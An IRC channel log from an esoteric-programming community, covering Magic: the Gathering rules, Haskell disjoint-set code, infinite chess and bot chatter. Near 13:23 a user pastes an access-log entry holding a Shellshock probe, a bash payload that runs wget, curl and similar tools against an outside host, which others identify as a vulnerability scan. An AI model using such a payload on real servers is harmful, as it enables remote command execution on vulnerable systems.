2015-11-01: 00:06:32 Hmm. If you interpret the rules excessively literally, an Aura with "Enchant player" can't be played. 00:06:55 They say: "Auras that can enchant a player can target and be attached to players." But they don't say that if an Aura has "Enchant player", then it can enchant a player. 00:07:16 But wait, maybe that's not true. 00:07:42 Maybe there's something else implying that an Aura can enchant a player unless it has an ability saying it can't. 00:10:04 I notice that some keyword abilities have specific meanings and others don't. "Flash" has a defined meaning. "Flying" doesn't have any particular meaning; instead, the rules check whether or not something has flying and behaves differently depending. 00:12:54 -!- jaboja has quit (Ping timeout: 260 seconds). 00:13:53 "Hexproof" has a meaning when it's on a permanent (or a player), but not when it's on a non-permanent card. Presumably it just doesn't do anything at all on non-permanent cards. 00:15:44 Oddly, "Indestructible" does not mean "This permanent can't be destroyed." Instead, the rules state that "A permanent with indestructible can't be destroyed." 00:15:52 I don't know why they don't just give it that defined meaning. 00:21:19 -!- mauris has quit (Read error: Connection reset by peer). 00:22:49 -!- mauris has joined. 00:26:26 Y'know, if they were to make a card with no characteristics, I think its behavior would be pretty straightforward. 00:26:51 It has no type. It's not a land and it's not a spell. It can't be played. It's colorless and its converted mana cost is 0. 00:29:28 "We will be down for one hour this Saturday night (early Sunday morning), during the Daylight Savings Time rollback, for routine database maintenance and for investigating a hardware issue on a file server. We'll start at Sun Nov 1, 12:59 am Eastern Daylight Time, and end an hour later around 1:01 am Eastern Standard Time. " 00:29:46 So, chance of it's that vs. "We're scared of daylight time changes"? 00:30:18 Also saw malicious ad on Fark 00:34:00 I wonder if they tested DST stuff. 00:35:48 <\oren\> wait DST changes on halloween? spooky 00:44:01 -!- variable has joined. 00:47:20 -!- llue has joined. 00:47:20 -!- llue has quit (Changing host). 00:47:20 -!- llue has joined. 00:48:50 -!- lleu has quit (Read error: Connection reset by peer). 00:51:27 -!- Phantom_Hoover has quit (Ping timeout: 268 seconds). 01:01:34 -!- llue has quit (Quit: That's what she said). 01:09:33 -!- Wright has quit (Ping timeout: 265 seconds). 01:15:46 -!- bender| has joined. 01:18:39 -!- bender| has changed nick to bender. 01:37:12 <\oren\> `wisdom 01:37:21 native/The natives are restless, also armed with sed. 01:37:28 <\oren\> `wisdom 01:37:29 partial order/A partial order is just a small thin skeletal category. 01:37:36 <\oren\> `wisdom 01:37:38 grue/grue is the colour of the trees and the ocean 01:37:42 <\oren\> `wisdom 01:37:43 newline/Newlines are le/rn's \ biggest weakness. 01:37:52 <\oren\> `wisdom 01:37:54 godot/cf. elliott 01:37:58 <\oren\> `wisdom 01:38:00 flower/flower. what IS a flower? 02:16:20 For some reason I'm implementing Magic in C#. 02:17:00 `? dome 02:17:01 dome? ¯\(°​_o)/¯ 02:17:36 I remember defining something and I can't remember what it was called... 02:17:46 If only boily was online... 02:17:56 `culprits^(-1) hppavilion[1] 02:17:57 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: culprits^(-1): not found 02:18:09 Eh, HackEgo doesn't implement command inversion? 02:18:16 Dammit 02:18:18 Stupid cut-rate bot. 02:18:30 I'm so angry that I'm going to turn autowelcome off. 02:18:32 `autowelcome off 02:18:33 Autowelcome disabled. 02:18:38 I would think that a card with no type should be playable similar to a global enchantment or artifact, which seems a more logical way to me. The rules don't say this though 02:18:44 And we can't add it, AFAIK, because of file name constraints 02:19:13 We can. Linux has almost no filename constraints. 02:19:23 Oh. Excellent 02:19:24 A filename can't contain a null or a forward slash. I think that's it. 02:19:25 You do that. 02:19:32 `? mapole 02:19:33 I mean, there's likely a maximum length. 02:19:33 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg. 02:20:31 zzo38: well, the rules give a mechanism for playing lands, and a mechanism for playing spells, but not a mechanism for playing non-land non-spells. 02:20:42 I suppose you could argue that since it's a land, it's a spell even though it doesn't have a spell type. 02:21:09 In that case, it's still uncastable, not because it doesn't have a spell type, but because it doesn't have a mana cost, and spells without mana costs are uncastable. 02:21:19 [wiki] [[User:Hppavilion1/Mapole]] N http://esolangs.org/w/index.php?oldid=45027 * Hppavilion1 * (+437) Created page as part of Hedwig Notta series 02:21:54 -!- doesthiswork has joined. 02:23:05 [wiki] [[User:Hppavilion1/Any Valid ASCII]] N http://esolangs.org/w/index.php?oldid=45028 * Hppavilion1 * (+234) Created Page for later 02:23:16 -!- J_Arcane has joined. 02:23:57 Any given ability is static, activated, or triggered, but not more than one of these, right? 02:24:03 So for my 2D RPG engine, I'm trying to decide on some features 02:24:26 Should the map scripting language be Lua or Python? 02:25:24 Or I could do both, and even maybe throw in an extra custom language 02:26:55 Should it be possible for a map script to perform arbitrary actions on the player's computer? 02:26:58 If not, go with Lua. 02:27:50 tswett: Oh right xD 02:27:56 Definitely Lua then 02:28:20 Do I have to implement my own Lua, or would PyLua (or whatever) be safe? 02:29:16 You certainly shouldn't have to implement your own Lua. 02:29:28 I don't know if PyLua or whatever would be safe; check the documentation. 02:34:24 I think I might also implement Minecraft-esque redstone-and-command-blocks 02:52:43 By the way, I've improved the autowelcome tracking script. It should now accurately reflect the actual autowelcome status 100% of the time. 02:52:45 Observe. 02:52:48 `autowelcome on 02:52:50 Autowelcome enabled. 02:52:52 `autowelcome status 02:52:52 Autowelcome enabled. 02:52:54 `autowelcome off 02:52:56 Autowelcome disabled. 02:52:57 `autowelcome status 02:52:58 Autowelcome disabled. 02:53:02 Impressive, ain't it? 02:56:26 Yes. 02:56:44 You managed to save a boolean to file and toggle it. I am in awe. 02:56:46 xD 03:09:10 -!- oerjan has joined. 03:09:34 tswett: Yes it is still uncastable if it has no mana cost anyways. A land cannot be cast as a spell but other card can be 03:15:07 hppavilion[1]: Maybe the map scripting language should be SQL, and then many thing having to do with save game file you do not need to worry about it can do automatically instead. 03:15:44 zzo38: Perhaps, but that leads to the problem of SQL not being very easy to use for scripting. 03:15:49 I might use some SQL though 03:16:17 (SQL isn't even TC, barring miracles) 03:16:37 SQLite support authorizer callback and you can define limits, in order to avoid to mess up the computer with it. 03:16:49 ("Miracles" including things like the fact that SKI and TMs are TC) 03:17:19 And, SQL is even TC if you use a recursive WITH clause; you can (and should) also define your own functions too, one which are specific to use in this case; also with virtual table can also be done define your own to be specific for this use 03:18:24 Huh 03:18:53 The RPG engine is inspired heavily by Minecraft and possibly Terraria (never played it). 03:19:04 But it's designed specifically for maps to be made in it 03:20:04 Should I make chunks (which are squares) 8*8 or 16*16 03:20:06 ? 03:21:33 I'm going with 8*8 03:40:20 -!- nitrix has changed nick to nitrix-or-treat. 03:44:38 Woohoo, my Magic implementation builds successfully. 03:45:18 I've successfully implemented land. 03:45:49 Land automatically checks its own subtypes to determine what kind of mana it can produce implicitly. 03:46:01 Now, there's no way to USE it. 03:46:13 It has an activated ability, with a defined activation cost and resolution effect. 03:46:25 But there's no way to actually activate the ability. 03:46:30 Or to play the land. 03:46:35 Or to begin a game in the first place. 03:46:50 I mean, there's no user interface at all. 03:47:48 I guess my first milestone here will be to implement Forest Magic. 03:49:08 The subset of Magic: the Gathering that you end up with when the only legal card is Forest. 03:49:26 Under older rules, it would have been possible to win this game without your opponent conceding. 03:49:38 Simply convince them to play Forests and tap them for mana a total of 20 times. 03:52:12 No, wait, you can still win without your opponent conceding in the current rules. 03:53:11 The optimal strategy is to mulligan down to zero, then do whatever the hell you want. Whoever has the smaller library loses. In the event of a tie, the player on the draw loses. 04:04:32 -!- ^v has joined. 04:10:00 -!- doesthiswork has quit (Quit: Leaving.). 04:19:04 -!- doesthiswork has joined. 04:29:52 -!- JesseH has quit (Remote host closed the connection). 04:37:50 -!- newsham has quit (Quit: Changing server). 04:39:08 -!- newsham has joined. 04:47:38 -!- Sprocklem has quit (Ping timeout: 240 seconds). 04:48:55 -!- hppavilion[2] has joined. 04:51:42 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 04:52:36 -!- jaboja has joined. 05:04:51 -!- jaboja64 has joined. 05:05:41 -!- jaboja has quit (Disconnected by services). 05:05:59 -!- jaboja64 has changed nick to jaboja. 05:26:58 If this hour has 22 minutes, then this day has 25 hours. 05:32:09 if 1=2, then bertrand russell is the pope 05:35:59 If 1+1=3, then 1+1=2 05:41:14 > let 1+1=3 in 1+1 05:41:17 3 05:43:12 -!- doesthiswork has quit (Quit: Leaving.). 05:43:59 -!- jaboja has quit (Ping timeout: 264 seconds). 05:54:47 -!- lleu has joined. 06:01:29 -!- ^v has quit (Ping timeout: 265 seconds). 06:05:20 -!- lleu has quit (Quit: That's what she said). 06:06:13 -!- copumpkin has quit (Read error: Connection reset by peer). 06:06:14 -!- TodPunk has quit (Read error: Connection reset by peer). 06:06:40 -!- TodPunk has joined. 06:07:40 -!- copumpkin has joined. 06:29:28 -!- zadock has joined. 06:30:49 -!- zadock has quit (Remote host closed the connection). 06:47:45 -!- Sprocklem has joined. 06:53:01 -!- bender has quit (Ping timeout: 246 seconds). 07:06:34 > Identity 1 07:06:36 Identity 1 07:07:44 oh it leaves out just the field 07:13:58 what leaves out what? 07:21:36 the Show instance for Identity 07:21:58 @src Identity 07:21:58 newtype Identity a = Identity { runIdentity :: a } 07:22:02 wow it worked 07:24:47 -!- variable has quit (Quit: 1 found in /dev/zero). 07:26:08 i think Identity used to have a Show instance that showed the whole thing 07:26:21 or maybe it went straight from no instance to the simple instance 07:26:36 i hope Either never gets a verbose instance like that 07:26:40 that would really come out of Left field 07:38:57 i don't think Either has field names. seeing as ... ... ... 07:39:26 * oerjan connects the swatter to a fan, points at shachaf and starts it -----### 07:39:54 * oerjan turns off again 08:10:07 -!- bb010g has quit (Quit: Connection closed for inactivity). 08:23:29 * pikhq waves "hi" from Switzerland 08:25:37 -!- GoToTell has joined. 08:28:53 pikhq: what are you doing in Switzerland 08:29:38 Getting paid to be here. 08:29:50 Ah 08:29:54 That explains it 08:30:08 Meanwhile, I seem to be helping to run a small hackathon today 08:30:27 For people from Edinburgh 08:30:30 In York 08:30:50 that sounds a little displaced 08:32:35 Yes 08:32:42 We invited people from other places too 08:32:49 But only the Edinburgh people showed up 08:32:52 I am going to blame Ph 08:32:55 antom 08:32:56 _ 08:32:57 Hoo 08:32:58 ver 08:33:12 Who didn't tab complete so I panicked 08:37:36 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 08:38:47 -!- AnotherTest has joined. 08:40:02 your panics seem to be escalating tdnh 08:45:35 Ugh, I'm probably going to crash super soon and have some weird, weird sleep schedule going on. 08:45:53 [wiki] [[Talk:Hcbf]] http://esolangs.org/w/index.php?diff=45029&oldid=34166 * Rdebath * (+2237) It was a good idea. 10:05:02 -!- Phantom_Hoover has joined. 11:11:16 -!- jaboja has joined. 11:19:34 -!- Patashu has quit (Remote host closed the connection). 11:20:00 -!- Patashu has joined. 11:28:54 -!- bender has joined. 11:48:38 -!- evalj has joined. 12:06:42 hello 12:06:51 Hi! 12:08:34 -!- Patashu has quit (Ping timeout: 268 seconds). 12:09:39 tanello 12:20:18 -!- oerjan has quit (Quit: leaving). 12:23:29 helluel world 12:23:41 I've written a small Haskell library for disjoint sets (union-find) 12:24:18 yay another one :) 12:24:33 Taneb: Phantom_Hoover is available for tab-completion now 12:24:40 Phantom_Hoover: I'm blaming you 12:25:36 int-e: I think it does things a little differently than the others 12:25:39 Probably worse 12:26:41 Taneb: I can't blame you. I'm the author of one of union-find union-find-array equivalence disjoint-set persistent-equivalence data-partition (that's what I found by a quick search on hackage) 12:27:03 pikhq: do they pay you to be in Switzerland or just to not be wherever you were before? 12:27:51 int-e: I do it by being awful and unsafe, with a vector! 12:28:45 you should call it awful-unsafe-disjoint-sets 12:29:25 (it's one of these data structures with lots of little knobs for tuning... do you annotate nodes? Do you want to keep track of the whole equivalence classes or not? Do you want a mutable version or a persistent one, or perhaps a mutable version with undo capabilities?) 12:31:11 http://arin.ga/IQe0wC 12:31:25 And in the ende it's tremendously easy to implement (though I'm sure that there are a couple of pitfalls). 12:32:27 (that was a link to the module I was talking about) 12:32:29 hmm, union uses unsafePerformIO, *unsafe*Union does not 12:33:31 olsner: yes 12:33:49 unsafeUnion can mess with with pure code 12:33:54 union works on a copy 12:34:39 without reading too carefully, if it used ST or something it might actually be pure and safe? 12:34:49 MAYBE 12:34:59 Taneb, what'd i do this time 12:35:13 no, not really, at least not in conjunction with union 12:35:18 Phantom_Hoover: you weren't around last time I tried to blame you, and you didn't tab-complete 12:35:44 olsner: I believe it's impossible to observe impure behaviour with newDisjointSet, union, and find 12:36:15 how were the edinburgh people 12:36:23 They are STILL HERE 12:36:33 morally, the M.IOVector DSP is an immutable vector... and unsafeUnion does an unsafeThaw (not sure what's that called for vectors?). 12:37:08 how are the edinburgh people 12:37:18 Phantom_Hoover: they say "woo" 12:37:19 (assuming that the path compression is not observable) 12:37:30 Phantom_Hoover: apparently they are hungry 12:37:52 is there a haggis shop nearby 12:38:17 I don't think so 12:38:35 ok, just deep-fry the contents of your fridge then 12:39:05 and that's an interesting question... if several calls to 'find' run concurrently, can they mess up the data structure, one ending up linking a in top of a node b and the other one trying the reverse? 12:39:38 Taneb: I think I rather just meant "without unsafePerformIO" 12:40:00 (with runST instead, which is pretty much the same thing with a different type, as I understand things) 12:40:48 olsner: hmm, maybe 12:41:53 or, easier, what if a call to union 1 2 ds and union 2 1 ds run in parallel, with nodes 1 and 2 of the same rank? the first call will link 1 to 2; the second will link 2 to 1, if the calls are perfectly interleaved. 12:42:38 i like how the haskell wiki's syntax higlighting doesn't correctly parse ' 12:43:08 err, but the array is copied 12:43:24 I really need to poke a hole into the path compression if I want to break this code. 12:45:00 eh what? 12:45:30 oh, that kind of union 12:45:34 And I don't think that's possible. 12:45:38 I think I have non-haskell code for that, in like three languages 12:45:46 wait 12:46:18 oh huh 12:46:33 http://www.perlmonks.com/?node_id=764894 a maze generator that uses that kind of thing, I think 12:46:33 'parametrise' is british english, 'parameterize' is american? 12:46:51 which is in perl, but it's translated from an old program I wrote in C, and I later translated it from perl to ploki 12:46:58 Phantom_Hoover: yes, British English authorities (other than OED) tend to prefer -ise 12:47:01 yes, maze generators are the cutest application for disjoint set forests that I know of. 12:47:12 int-e: that was my intention for this afternoon 12:47:20 Taneb, look closer 12:47:30 Phantom_Hoover: oooh 12:47:46 What 12:49:09 i always spelt it parametrise, i was starting to think i'd been getting it wrong 12:49:54 I'd spell it parametrize. 12:50:36 Taneb: Ok, so my conclusion is that you're right: The pure interface is fine. But besides interacting with the pure interface, unsafeUnion also has a problem with concurrency. 12:51:17 If only I knew someone who could test concurrent code 12:51:18 Oh wait 12:51:36 I'm in the room with someone who did a talk on that at Haskell Symposium 12:52:37 https://www.youtube.com/watch?v=84NwnSltHFo waaa 12:53:31 Taneb: I'm sure that my example (merging two nodes of the same rank both ways) works in principle... but triggering it may be quite tedious. 12:58:00 izabera: why waaa? 12:58:28 it's the first time i've been asked that 12:58:35 i don't know 12:58:36 -!- jaboja has quit (Remote host closed the connection). 12:58:46 half fangirling, half shocked 12:59:29 why do you make me think about things 12:59:33 my brain hurts 13:00:58 I'd say I'm sorry, but it would be a lie. 13:03:11 Shouldn't that sort of utterances have some ~s or something. 13:04:25 izabera: wow 13:05:47 Taneb: why wow 13:05:56 * izabera plans her revenge 13:05:59 izabera: it's impressive seeing people that good at chess 13:06:03 D: 13:06:05 I was wowing the video, not you 13:06:08 that's an actual good answer D: 13:06:15 dammit 13:06:32 i should travel back in time and answer that to int-e 13:06:49 btw, do you know how many people use your pastebin? I find it quite handy 13:07:02 you can really see that high-level chess is mostly about recall 13:07:06 dunno but i can check the logs 13:07:21 what's this pastebin 13:07:25 Phantom_Hoover: s/chess/everything/ 13:07:44 http://arin.ga/ 13:07:45 Hmm, I did interpret "waaa" as an expression of dismay. 13:08:03 so that was wrong. 13:10:18 izabera@amazon ~ $ awk '/GET/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log* 13:10:20 933 13:10:22 izabera@amazon ~ $ awk '/POST/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log* 13:10:24 58 13:10:53 Phantom_Hoover: I'm not sure that's fair. You also have to play well after the first novelty of the game... see attack patterns that appear on the board 3 moves away... 13:10:53 since august 13:11:12 what's $1 there? 13:11:18 the ip 13:12:02 int-e, i admit to having only received opinions on chess 13:12:14 is that a lot? 13:12:38 * izabera labels it as large scale 13:13:57 hmm my awk doesn't like that code... 13:14:10 length(array) works in gawk 13:14:21 actually... never mind. 13:15:12 if pro chess is anything like pro rubiks cube, then it's all pattern recognition 13:16:07 well the rubik's cube isn't fighting back 13:16:20 * Taneb has just paied £211.45 for pizza 13:16:25 though you could do competitive cubing, where the one who finishes wins... 13:16:37 there are competitions 13:16:49 no i mean competitive iterated cubing 13:16:58 elaborate 13:17:10 i twist the cube, you twist the cube 13:17:20 whoever twists it so it's solved wins 13:17:38 mmh 13:17:41 kind of unfair 13:17:42 probably would just be a deadlock though 13:18:04 the problem is that there's no winning strategy for one of them 13:18:15 -!- idris-bot has quit (Ping timeout: 268 seconds). 13:18:30 isn't the same true of chess 13:18:34 no 13:18:45 if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it 13:18:58 one of them has literally no chance of winning 13:19:09 -!- Melvar has quit (Ping timeout: 252 seconds). 13:19:14 izabera: no, neither has a chance to winning 13:19:17 it's an infinite loop 13:19:24 nobody will turn the cube to one turn from the solved state 13:19:31 well sure 13:19:40 b_jonas: one of them can win if the other is an idiot 13:19:47 Taneb: yeah... 13:19:54 if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it 13:19:56 wait really? 13:19:59 yes 13:20:44 fine, you can do 180 degree twists if you want to 13:20:56 ok 13:21:05 then, what b_jonas said 13:21:10 so many proxy tests... 13:21:39 oh well 13:21:49 did you read that recent article about infinite chess ordinals 13:22:01 i guess it'd be more fun if you allow each player X number of moves 13:22:22 Phantom_Hoover: of course 13:22:29 let's say 10 moves so you can get to a non trivially close state 13:23:12 cute... "GET /cgi-bin/index.cgi HTTP/1.1" 404 386 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.testvc.it/TESTONLY; curl -O /dev/null http://www.testvc.it/TESTONLY; fetch http://www.testvc.it/TESTONLY; GET http://www.testvc.it/TESTONLY; lwp-download http://www.testvc.it/TESTONLY; lynx http://www.testvc.it/TESTONLY\");'" 13:23:30 Phantom_Hoover: http://mathoverflow.net/a/122250/35417 13:23:55 -!- Melvar has joined. 13:24:16 izabera: yes, the bash poisioning bug. very popular in http logs these days. 13:24:20 i still don't entirely understand this one: http://jdh.hamkins.org/wp-content/uploads/2013/02/Value-omega-squared.jpg 13:24:20 int-e: what is that 13:24:31 b_jonas: sorry what? 13:24:50 b_jonas, i think you meant int-e 13:24:53 oh it's a shellshock test? 13:25:24 izabera: yes 13:25:34 the internet is full of those now 13:25:34 izabera: somebody trying to exploit a badly written cgi script... which doesn't exist, but never mind that. 13:25:35 i guess i should check for something like that in my logs 13:25:36 no wonder 13:25:59 anyway i don't see how the rook/king arrangement on the right allows black to delay for an unbounded finite amount of time 13:26:14 I don't think I have cgi enabled on that host 13:26:18 int-e: people were always trying to exploit non-existing scripts. including wordpress and other buggy software. 13:26:36 int-e: sure, but an attacker can't tell that easily. 13:27:01 Oh I know, I'm just amused. 13:27:35 I have such urls in my webserver log too. 13:27:38 If I wanted to scan hosts for vulnerabilities I would probably do it the same way... there's no harm in causing 404 errors. 13:28:49 if black can just keep checking the white king then the game can go on indefinitely 13:29:04 Phantom_Hoover: nope! 13:29:12 ok but why not 13:29:21 (modern) chess is guaranteed to terminate thanks to some rules about tying 13:29:36 50 moves without a piece being taken or a pawn moving is a tie 13:29:43 yes but this is infinite chess 13:29:51 those rules are (presumably) being ignored 13:29:51 ? 13:29:59 oh right ok http://jdh.hamkins.org/tag/infinite-chess/ 13:30:11 i forgot only b_jonas seemed familiar 13:30:37 what 13:31:54 -!- J_Arcane has quit (Ping timeout: 255 seconds). 13:36:54 ok, i see now 13:37:26 I've made an almost identical version of my disjoint set library, except it uses ST 13:56:36 -!- mauris has quit (Ping timeout: 265 seconds). 14:07:39 -!- J_Arcane has joined. 14:07:59 Hi, fungot! Do you like pizza? 14:07:59 Taneb: purpose: set cursor location ( flo) should be called, the 14:08:13 sure, pizza is great! 14:08:15 I don't think pizza has a cursor function, fungot... 14:08:15 Taneb: a specific way. unfortunately basic isn't fast enough to do rs-232 type things. the formatting must be searched to find a copy of your machine language subroutine located at the end of your equipment. 14:08:41 pizza is a blessing for every English scrabble player since ZA became an acceptible word 14:09:48 fungot: explain "the end of your equipment" please 14:09:48 int-e: by using the not is determined by the open routine can be added by the memory of your machine language 14:10:17 mystifying 14:10:30 Traditional Chinese culture is even more of a blessing to English scrabble players since QI became an acceptible word, mind you 14:11:45 fungot: Are you written in machine language? 14:11:45 fizzie: the file-name already exists, the 14:12:00 fungot: Just say yes or no. 14:12:01 fizzie: chip register 24 ( 18) the program above hits line 120 displays the word displayed will be processed when the function definition will use the tab and spc in- structions either change the memory map of useful locations is 4. 14:12:13 The memory map of useful locations is 4. 14:16:54 fungot, do you write better optimized code than modern compilers? 14:16:54 b_jonas: closing an rs-232 open command may specify a character from the direct audio path. setting bit 5 of the number of double-quote marks ( " 0, so only colors 0-7 may be in either the background, and jump through the various flags or the accumulator 14:17:22 fungot: yes, sounds like a good plan 14:17:22 b_jonas: action: the on statement. in order to create the data bus, the chief function is called, the irq output is a one, the 14:19:30 fungot: how does being memoryless feel anyway? 14:19:30 int-e: bit 6 is set, the low-pass output of voice 3 envelope generator. 14:20:04 Hmm, good answer actually. 14:21:49 Phantom_Hoover: the paper explains that the white king can always move diagonally towards the rook giving check, so it ends after a finite (arbitrarily large) time 14:22:06 yeah 14:23:03 "white aims ultimately to open the portcullis and release the queens into the mating chamber at right." 14:23:23 Yes, it's typical esoteric material 14:23:33 good idea from Phantom_Hoover to bring it up 14:23:44 ugh, who will deal with the princesses and princes? 14:24:23 oh, I read "at night" 14:24:28 it even explicitly considers computability 14:30:59 @botsnack 14:30:59 :) 14:35:08 http://imgur.com/gallery/UsEVPoM you all need to see this 14:36:01 @uptime 14:36:01 uptime: 1m 6d 17h 31m 14s, longest uptime: 1m 10d 23h 44m 29s 14:38:08 > 1 14:38:10 1 14:45:50 `uptime 14:45:55 ​ 14:45:30 up 0 min, 0 users, load average: 0.00, 0.00, 0.00 15:04:35 -!- GoToTell has quit (Quit: HydraIRC -> http://www.hydrairc.com <- Nine out of ten l33t h4x0rz prefer it). 15:44:02 More stuff I got wrong. If a creature is destroyed while it has a damage-dealing ability on the stack, it deals the damage anyway. If something "costs (1) more to cast", and you "cast it without paying its mana cost", then you pay (1) to do so. 15:44:46 112.7a, 608.2g, 601.2f, 702.74. 15:47:50 [wiki] [[TeaScript]] http://esolangs.org/w/index.php?diff=45030&oldid=44923 * Vihan * (-92) /* Removing periods */ 15:53:31 -!- mauris has joined. 15:53:41 -!- Wright has joined. 16:25:59 -!- bender has quit (Ping timeout: 240 seconds). 16:27:02 The additional costing (1) more is not part of its mana cost 16:27:18 (Unless something explicitly changes the mana cost, I suppose.) 16:28:09 -!- JesseH has joined. 16:37:52 -!- doesthiswork has joined. 16:40:09 zzo38: I don't think anything changes mana costs by adding or reducing it. Mana costs can be changed by copy effects, object being face down, permanents being transformed, split spells on the stack. None of these can change mana costs to anything but what's already printed to some card, 16:42:33 so I believe you can never make an object with arbitrarily large mana cost, nor with a mana cost of exactly {GUU} for example. 16:42:42 no wait, GUU is possible 16:42:48 I mean {GGU} 16:43:23 and I think you can't have a permanent with the mana cost {GUU} either 16:47:38 ah great 16:48:30 <\oren\> can you have a card with cost X and "Pay this card's mana cost using only blue and green mana in a 1:2 ratio." 16:49:53 <\oren\> I know there's a myr that says to cast it using only mana produced by creatures 16:49:59 I don't think there is anything like that, although it would probably be possible; but then it has to be multiple of three (including possibly zero) 16:51:05 -!- ent0nces has joined. 16:55:08 \oren\: no, but there's some card with "Pay X with black mana only" or some such ability 16:55:40 (Probably only for black. I can't imagine anything other than black or green insisting on that.) 16:56:03 It's Consume Spirit, and the phrasing is "Spend only black mana on X." 16:56:06 [wiki] [[Talk:///]] http://esolangs.org/w/index.php?diff=45031&oldid=35475 * 24.16.138.191 * (+449) /* Clarifying the specs */ 16:56:15 how that works if you reduce the cost I'm not sure 16:56:36 oh, it's older than that 16:56:39 Drain Life, from alpha 16:57:40 and I was wrong, it exists in other colors too: Atalya, Samite Master says "Spend only white mana on X." 16:58:25 it exists for red too, and "only colored mana", and "only black and/or red mana", but not in green 16:59:05 \oren\: Taste of Paradise requires you to spend an additional {1}{G} any number of times. does that count? 16:59:16 it doesn't use {X} 16:59:20 or X 17:03:39 \oren\: I might phrase that by giving it a mana cost of XXX and saying "Pay XX with green mana only, and pay the remaining X with blue mana only." 17:03:45 -!- Melvar` has joined. 17:04:10 -!- idris-bot has joined. 17:04:36 tswett: it's usually easier to just say "Multikicker {GGU}" or "You may pay an additional {GGU} any number of times." 17:05:00 Yeah, probably a good idea. 17:05:44 How about "As you cast this spell, you may pay its mana cost any nonzero number of times"? Mm, Multikicker is probably easier. 17:05:49 tswett: or whatever that new keyword is that requires to pay an additional cost for each target other than the first 17:05:52 what's that one called? 17:05:58 -!- Melvar has quit (Ping timeout: 240 seconds). 17:06:13 I should know this. 17:06:24 Yes, just using multikicker. 17:06:33 Strive, and it's an ability word 17:06:57 as in on Kiora's Dismissal 17:07:20 Nature's Panoply has {2G} as the strive cost 17:07:32 Ah. In that case, I shouldn't have known that. 17:07:37 <\oren\> hmm i see. 17:08:15 Ooh, and don't orget Replicate. 17:09:01 <\oren\> I was thinking what if I made a deck with blue and green but not in a 1:1 ratio 17:09:10 You can only strive up to the number of legal targets, though. 17:09:37 Rule 613.1 does not list effects changing the mana cost (although there currently are no such effects anyways) 17:13:50 -!- perrier__ has quit (Remote host closed the connection). 17:15:15 -!- perrier has joined. 17:15:42 -!- Melvar has joined. 17:17:50 -!- idris-bot has quit (Ping timeout: 260 seconds). 17:18:13 -!- Melvar` has quit (Ping timeout: 252 seconds). 17:22:30 -!- ent0nces_ has joined. 17:24:31 [wiki] [[Talk:///]] http://esolangs.org/w/index.php?diff=45032&oldid=45031 * Tanner Swett * (+445) /* Clarifying the specs */ Response 17:25:32 -!- ent0nces has quit (Ping timeout: 268 seconds). 17:33:03 -!- boily has joined. 17:38:46 -!- J_Arcane has quit (Ping timeout: 246 seconds). 17:43:24 -!- atrapado has joined. 17:51:13 [wiki] [[Talk:Headache]] http://esolangs.org/w/index.php?diff=45033&oldid=44644 * Rdebath * (+192) /* Addition */ 17:51:35 [wiki] [[Headache]] http://esolangs.org/w/index.php?diff=45034&oldid=34688 * Rdebath * (+318) Conversion of brainfuck to headache 17:55:42 -!- bb010g has joined. 18:11:00 -!- lleu has joined. 18:11:00 -!- lleu has quit (Changing host). 18:11:00 -!- lleu has joined. 18:12:51 -!- ent0nces_ has quit (Ping timeout: 252 seconds). 18:15:09 -!- gniourf has quit (Read error: Connection reset by peer). 18:15:18 -!- gniourf has joined. 18:25:24 -!- ent0nces has joined. 18:28:21 -!- ent0nces_ has joined. 18:28:32 -!- oerjan has joined. 18:29:40 -!- ent0nces has quit (Ping timeout: 250 seconds). 18:35:44 -!- Wright has quit (Ping timeout: 250 seconds). 18:37:57 -!- ent0nces has joined. 18:40:42 -!- ent0nces_ has quit (Ping timeout: 244 seconds). 18:44:47 -!- atehwa has joined. 19:09:29 huh stackoverflow actually logged me out 19:09:41 i think that hasn't happened in over a year 19:10:33 -!- JesseH has quit (Read error: Connection reset by peer). 19:34:44 -!- hppavilion[2] has joined. 19:35:12 -!- hppavilion[2] has quit (Client Quit). 19:36:22 -!- JesseH has joined. 19:49:35 @massages-loud 19:49:35 You don't have any messages 19:53:01 -!- Wright has joined. 20:10:16 -!- boily has quit (Quit: BIDIRECTIONAL CHICKEN). 20:11:25 -!- Patashu has joined. 20:15:46 -!- ent0nces has quit. 20:28:52 https://www.codeeval.com/open_challenges/44/ my solution is scoring 67%, can you help me find what's wrong? http://arin.ga/KEd0BX/raw 20:43:54 -!- Patashu has quit (Ping timeout: 255 seconds). 20:45:51 izabera: 132 should result in 213 not 312 21:04:57 -!- atrapado has quit (Quit: Leaving). 21:20:24 Do you know why this program does not work? http://wiki.nesdev.com/w/index.php/User:Zzo38/Famicom_Z-machine 21:20:34 Can you find the mistake? 21:48:57 -!- aretecode has joined. 21:53:25 -!- hppavilion[1] has joined. 21:54:08 -!- J_Arcane has joined. 21:54:18 [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45035&oldid=44874 * Bexandre * (+113) 21:59:12 -!- Melvar` has joined. 21:59:19 -!- idris-bot has joined. 22:01:18 -!- Melvar has quit (Ping timeout: 255 seconds). 22:02:27 [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45036&oldid=45024 * Bexandre * (+6) 22:13:55 thanks int-e 22:15:52 @tell boily you always leave just a scant few hours before i arrive. and you never have any massages. 22:15:52 Consider it noted. 22:32:16 Whoops. I'm representing the creature types of an object as a HashSet. That's not going to work with Changelings. 22:34:08 Treating a Changeling as if it had "Advisor Ally Angel Antelope Ape Archer Archon Artificer Assassin Assembly-Worker Atog Aurochs Avatar Badger Barbarian Basilisk Bat Bear Beast Beeble Berserker Bird Blinkmoth Boar Bringer Brushwagg Camarid Camel Caribou Carrier Cat Centaur Cephalid Chimera Citizen Cleric Cockatrice Construct Coward Crab Crocodile Cyclops Dauthi Demon Deserter Devil Djinn Dragon Drake Dreadnought Drone Druid Dryad Dwarf Efreet Elder 22:34:08 Eldrazi Elemental Elephant Elf Elk Eye Faerie Ferret Fish Flagbearer Fox Frog Fungus 